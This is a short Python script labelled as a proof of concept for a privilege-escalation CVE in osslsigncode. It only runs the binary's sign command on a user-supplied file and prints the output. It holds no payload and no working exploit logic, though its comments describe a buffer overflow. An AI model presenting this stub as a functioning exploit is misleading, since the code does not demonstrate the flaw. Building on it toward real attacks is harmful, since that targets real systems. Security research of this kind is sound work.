The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2025-70888 (Osslsigncode Privilege Escalation)
This script demonstrates the vulnerability concept by calling the vulnerable component.
Note: Actual exploitation requires a specifically crafted binary payload.
"""
import subprocess
import sys
def trigger_vulnerability(binary_path, malicious_file):
"""
Simulate the exploitation scenario where osslsigncode processes a malicious file.
"""
print(f"[*] Attempting to process {malicious_file} with vulnerable binary...")
try:
# The vulnerability is triggered in osslsigncode.c during file parsing
# Using a generic command structure for demonstration
result = subprocess.run(
[binary_path, "sign", "-certs", "cert.pem", "-key", "key.pem", "-in", malicious_file, "-out", "out.signed"],
capture_output=True,
text=True,
timeout=5
)
print("[+] Execution output:", result.stdout)
if result.stderr:
print("[-] Error output:", result.stderr)
except Exception as e:
print(f"[!] An exception occurred: {e}")
if __name__ == "__main__":
# In a real scenario, 'malicious_file' would contain the exploit payload
# targeting the buffer overflow in osslsigncode.c
if len(sys.argv) < 3:
print("Usage: python3 poc.py <path_to_osslsigncode> <path_to_malicious_file>")
sys.exit(1)
binary = sys.argv[1]
target_file = sys.argv[2]
trigger_vulnerability(binary, target_file)